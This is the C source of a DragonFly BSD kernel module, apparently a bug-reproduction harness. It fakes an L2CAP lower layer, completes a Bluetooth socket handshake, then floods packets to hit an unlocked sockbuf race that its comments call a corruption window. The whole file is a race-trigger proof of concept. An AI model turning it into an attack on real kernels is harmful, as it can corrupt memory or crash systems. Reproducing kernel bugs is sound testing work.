/*
 * btsbx.c — DF-3478 harness.
 *
 * Fake "ng_l2cap lower layer": connects to the ng_btsocket_l2cap singleton
 * node ("btsock_l2c"), registers a source bdaddr via NGM_L2CAP_NODE_HOOK_INFO,
 * then drives one inbound L2CAP connection through CON_IND/CON_RSP/CFG_IND/
 * CFG/CFG_RSP until the server-side socket is OPEN, and afterwards floods
 * L2CAP data packets into the socket from a kernel thread while userland
 * read(2)s the accepted socket.
 *
 * The append side (ng_btsocket_l2cap_data_input -> sbappendrecord, running
 * on the taskqueue_swi thread, holding pcb_lock/sockets_lock only) races
 * the consume side (soreceive on the user thread, holding ssb_token) with
 * no common lock — CVE-class sockbuf corruption window.
 *
 * sysctl debug.btsbx.cmd:  1=setup  2=con_ind  3=cfg_ind  4=cfg_resp
 *                          5=flood on  6=flood off
 * sysctl debug.btsbx.state: last status code
 * sysctl debug.btsbx.stats: sent acked-by-netgraph / errors
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/errno.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/kthread.h>

#include <netgraph7/ng_message.h>
#include <netgraph7/netgraph.h>
#include <netgraph7/bluetooth/include/ng_hci.h>
#include <netgraph7/bluetooth/include/ng_l2cap.h>

MALLOC_DEFINE(M_BTSBX, "btsbx", "btsbx harness");

#define BTSBX_PSM	0x1234
#define BTSBX_LCID	0x42
#define BTSBX_PAYLOAD	128

static const bdaddr_t	btsbx_local = { {0x0a,0x0b,0x0c,0x0d,0x0e,0x0f} };
static const bdaddr_t	btsbx_peer   = { {0x11,0x22,0x33,0x44,0x55,0x66} };

static int		btsbx_cmd;
static int		btsbx_state;
static u_int32_t		btsbx_sent;
static u_int32_t		btsbx_errs;
static u_int32_t		btsbx_child_token;
static volatile int	btsbx_flood;
static volatile int	btsbx_exited;
static struct thread	*btsbx_td;
static node_p		btsbx_node;
static hook_p		btsbx_hook;

SYSCTL_INT(_debug, OID_AUTO, btsbx_cmd, CTLFLAG_RW, &btsbx_cmd, 0, "cmd");
SYSCTL_INT(_debug, OID_AUTO, btsbx_state, CTLFLAG_RD, &btsbx_state, 0, "state");
SYSCTL_INT(_debug, OID_AUTO, btsbx_sent, CTLFLAG_RD, &btsbx_sent, 0, "sent");
SYSCTL_INT(_debug, OID_AUTO, btsbx_errs, CTLFLAG_RD, &btsbx_errs, 0, "errs");

static ng_constructor_t	btsbx_constructor;
static ng_rcvmsg_t		btsbx_rcvmsg;
static ng_rcvdata_t		btsbx_rcvdata;
static ng_newhook_t		btsbx_newhook;
static ng_connect_t		btsbx_connect;
static ng_disconnect_t	btsbx_disconnect;
static ng_shutdown_t		btsbx_shutdown;

static struct ng_type btsbx_typestruct = {
	.version =	NG_ABI_VERSION,
	.name =		"btsbx",
	.constructor =	btsbx_constructor,
	.rcvmsg =	btsbx_rcvmsg,
	.rcvdata =	btsbx_rcvdata,
	.newhook =	btsbx_newhook,
	.connect =	btsbx_connect,
	.disconnect =	btsbx_disconnect,
	.shutdown =	btsbx_shutdown,
};
NETGRAPH_INIT(btsbx, &btsbx_typestruct);

static int
btsbx_sendmsg(u_int32_t cmd, u_int32_t token, const void *arg, int len)
{
	struct ng_mesg *msg = NULL;
	int error;

	NG_MKMESSAGE(msg, NGM_L2CAP_COOKIE, cmd, len, M_WAITOK | M_NULLOK);
	if (msg == NULL)
		return (ENOMEM);
	msg->header.token = token;
	if (len > 0)
		bcopy(arg, msg->data, len);
	NG_SEND_MSG_HOOK(error, btsbx_node, msg, btsbx_hook, 0);
	return (error);
}

/*
 * Auto-reply to the socket layer's requests so the child pcb completes its
 * handshake: L2CA_ConnectRsp request -> L2CA_ConnectRsp response(result=0),
 * L2CA_ConfigRsp request -> L2CA_ConfigRsp response(result=0).
 */
static int
btsbx_rcvmsg(node_p node, item_p item, hook_p hook)
{
	struct ng_mesg *msg = NULL;
	int error = 0;

	NGI_GET_MSG(item, msg);
	kprintf("btsbx: rcvmsg cookie=%lu cmd=%lu token=%u arglen=%lu\n",
	    msg ? (unsigned long)msg->header.typecookie : 0,
	    msg ? (unsigned long)msg->header.cmd : 0,
	    msg ? msg->header.token : 0,
	    msg ? (unsigned long)msg->header.arglen : 0);
	if (msg != NULL && msg->header.typecookie == NGM_L2CAP_COOKIE) {
		switch (msg->header.cmd) {
		case NGM_L2CAP_L2CA_CON_RSP: {
			ng_l2cap_l2ca_con_rsp_op op;
			btsbx_child_token = msg->header.token;
			kprintf("btsbx: got CON_RSP req token=%u\n",
			    msg->header.token);
			bzero(&op, sizeof(op));
			op.result = NG_L2CAP_SUCCESS;
			error = btsbx_sendmsg(NGM_L2CAP_L2CA_CON_RSP,
			    msg->header.token, &op, sizeof(op));
			break;
			}
		case NGM_L2CAP_L2CA_CFG_RSP: {
			ng_l2cap_l2ca_cfg_rsp_op op;
			kprintf("btsbx: got CFG_RSP req token=%u\n",
			    msg->header.token);
			bzero(&op, sizeof(op));
			op.result = NG_L2CAP_SUCCESS;
			error = btsbx_sendmsg(NGM_L2CAP_L2CA_CFG_RSP,
			    msg->header.token, &op, sizeof(op));
			break;
			}
		default:
			break;
		}
	}
	NG_FREE_MSG(msg);
	NG_FREE_ITEM(item);
	return (error);
}

static int
btsbx_rcvdata(hook_p hook, item_p item)
{
	NG_FREE_ITEM(item);
	return (0);
}

static int
btsbx_constructor(node_p node) { return (0); }
static int
btsbx_newhook(node_p node, hook_p hook, const char *name) { return (0); }
static int
btsbx_connect(hook_p hook) { return (0); }
static int
btsbx_disconnect(hook_p hook) { return (0); }
static int
btsbx_shutdown(node_p node)
{
	NG_NODE_UNREF(node);
	return (0);
}

static int
btsbx_setup(void)
{
	struct ng_mesg *msg = NULL;
	struct ngm_connect *con;
	int error;

	if (btsbx_node != NULL)
		return (0);

	if ((error = ng_make_node_common(&btsbx_typestruct, &btsbx_node)) != 0) {
		btsbx_node = NULL;
		kprintf("btsbx: make_node -> %d\n", error);
		return (error);
	}
	if ((error = ng_name_node(btsbx_node, "btsbx0")) != 0) {
		kprintf("btsbx: name_node -> %d\n", error);
		return (error);
	}

	/* Connect "btsbx0:l2" <-> "btsock_l2c:l2cap" via generic NGM_CONNECT */
	NG_MKMESSAGE(msg, NGM_GENERIC_COOKIE, NGM_CONNECT, sizeof(*con),
	    M_WAITOK | M_NULLOK);
	if (msg == NULL)
		return (ENOMEM);
	con = (struct ngm_connect *)msg->data;
	strlcpy(con->path, "btsock_l2c:", sizeof(con->path));
	strlcpy(con->ourhook, "l2", sizeof(con->ourhook));
	strlcpy(con->peerhook, "l2cap", sizeof(con->peerhook));
	NG_SEND_MSG_PATH(error, btsbx_node, msg, "btsbx0:", 0);
	kprintf("btsbx: NGM_CONNECT -> %d\n", error);
	if (error != 0)
		return (error);

	btsbx_hook = ng_findhook(btsbx_node, "l2");
	kprintf("btsbx: findhook(l2) -> %p\n", btsbx_hook);
	if (btsbx_hook == NULL)
		return (ENOENT);

	/* Register our source bdaddr -> creates the rt entry */
	error = btsbx_sendmsg(NGM_L2CAP_NODE_HOOK_INFO, 0,
	    &btsbx_local, sizeof(btsbx_local));
	kprintf("btsbx: HOOK_INFO -> %d\n", error);
	return (error);
}

static int
btsbx_con_ind(void)
{
	ng_l2cap_l2ca_con_ind_ip ip;

	bzero(&ip, sizeof(ip));
	bcopy(&btsbx_peer, &ip.bdaddr, sizeof(ip.bdaddr));
	ip.lcid = BTSBX_LCID;
	ip.psm = BTSBX_PSM;
	ip.ident = 1;
	return (btsbx_sendmsg(NGM_L2CAP_L2CA_CON_IND, 0, &ip, sizeof(ip)));
}

static int
btsbx_cfg_ind(void)
{
	ng_l2cap_l2ca_cfg_ind_ip ip;

	bzero(&ip, sizeof(ip));
	ip.lcid = BTSBX_LCID;
	ip.omtu = 2048;
	ip.flush_timo = 0xffff;
	return (btsbx_sendmsg(NGM_L2CAP_L2CA_CFG_IND, 0, &ip, sizeof(ip)));
}

static int
btsbx_cfg_resp(void)
{
	ng_l2cap_l2ca_cfg_op op;

	bzero(&op, sizeof(op));
	op.result = NG_L2CAP_SUCCESS;
	op.imtu = 2048;
	op.flush_timo = 0xffff;
	return (btsbx_sendmsg(NGM_L2CAP_L2CA_CFG,
	    btsbx_child_token, &op, sizeof(op)));
}

static void
btsbx_send_one(void)
{
	struct mbuf *m;
	ng_l2cap_hdr_t *hdr;
	int error, i;

	m = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR);
	if (m == NULL) {
		btsbx_errs++;
		return;
	}
	m->m_len = sizeof(*hdr) + BTSBX_PAYLOAD;
	m->m_pkthdr.len = m->m_len;
	hdr = mtod(m, ng_l2cap_hdr_t *);
	hdr->length = BTSBX_PAYLOAD;
	hdr->dcid = BTSBX_LCID;
	for (i = 0; i < BTSBX_PAYLOAD; i++)
		*((uint8_t *)(hdr + 1) + i) = (uint8_t)i;

	NG_SEND_DATA_ONLY(error, btsbx_hook, m);
	if (error)
		btsbx_errs++;
	else
		btsbx_sent++;
}

static void
btsbx_thread(void *arg)
{
	int cmd, n = 0;

	while (btsbx_td != NULL) {
		cmd = btsbx_cmd;
		if (cmd != 0) {
			btsbx_cmd = 0;
			switch (cmd) {
			case 1: btsbx_state = btsbx_setup(); kprintf("btsbx: setup -> %d\n", btsbx_state); break;
			case 2: btsbx_state = btsbx_con_ind(); kprintf("btsbx: con_ind -> %d\n", btsbx_state); break;
			case 3: btsbx_state = btsbx_cfg_ind(); kprintf("btsbx: cfg_ind -> %d\n", btsbx_state); break;
			case 4: btsbx_state = btsbx_cfg_resp(); kprintf("btsbx: cfg_resp -> %d\n", btsbx_state); break;
			case 5: btsbx_flood = 1; btsbx_state = 0; kprintf("btsbx: flood ON\n"); break;
			case 6: btsbx_flood = 0; btsbx_state = 0; kprintf("btsbx: flood OFF\n"); break;
			case 8: {	/* probe: self-connect by name */
				struct ng_mesg *m2 = NULL;
				struct ngm_connect *c2;
				int e2;
				NG_MKMESSAGE(m2, NGM_GENERIC_COOKIE, NGM_CONNECT,
				    sizeof(*c2), M_WAITOK | M_NULLOK);
				if (m2 != NULL) {
					c2 = (struct ngm_connect *)m2->data;
					strlcpy(c2->path, "btsbx0:", sizeof(c2->path));
					strlcpy(c2->ourhook, "l3", sizeof(c2->ourhook));
					strlcpy(c2->peerhook, "l3p", sizeof(c2->peerhook));
					NG_SEND_MSG_PATH(e2, btsbx_node, m2, "btsbx0", 0);
					kprintf("btsbx: probe self-connect -> %d\n", e2);
					btsbx_state = e2;
				}
				break;
			}
			default: btsbx_state = -cmd; break;
			}
		 wakeup(&btsbx_state);
		} else if (btsbx_flood) {
			int i;

			/* burst of 8, then pause: keep the input queue from
			 * saturating so drops (and their ERR prints) stay rare */
			for (i = 0; i < 8; i++)
				btsbx_send_one();
			DELAY(200);
		} else {
			tsleep(&btsbx_cmd, 0, "btsbx_idle", hz);
		}
	}
	btsbx_exited = 1;
	wakeup(&btsbx_exited);
	kthread_exit();
}

static int
btsbx_modevent(module_t mod, int event, void *data)
{
	int error = 0;

	switch (event) {
	case MOD_LOAD:
		btsbx_flood = 0;
		btsbx_exited = 0;
		error = kthread_create(btsbx_thread, NULL, &btsbx_td,
		    "btsbx0");
		break;
	case MOD_UNLOAD:
		btsbx_flood = 0;
		btsbx_td = NULL;
		wakeup(&btsbx_cmd);
		while (!btsbx_exited)
			tsleep(&btsbx_exited, 0, "btsbxbye", hz);
		if (btsbx_node != NULL)
			ng_rmnode_self(btsbx_node);
		break;
	default:
		break;
	}
	return (error);
}

static moduledata_t btsbx_mod = { "btsbx", btsbx_modevent, NULL };
DECLARE_MODULE(btsbx, btsbx_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);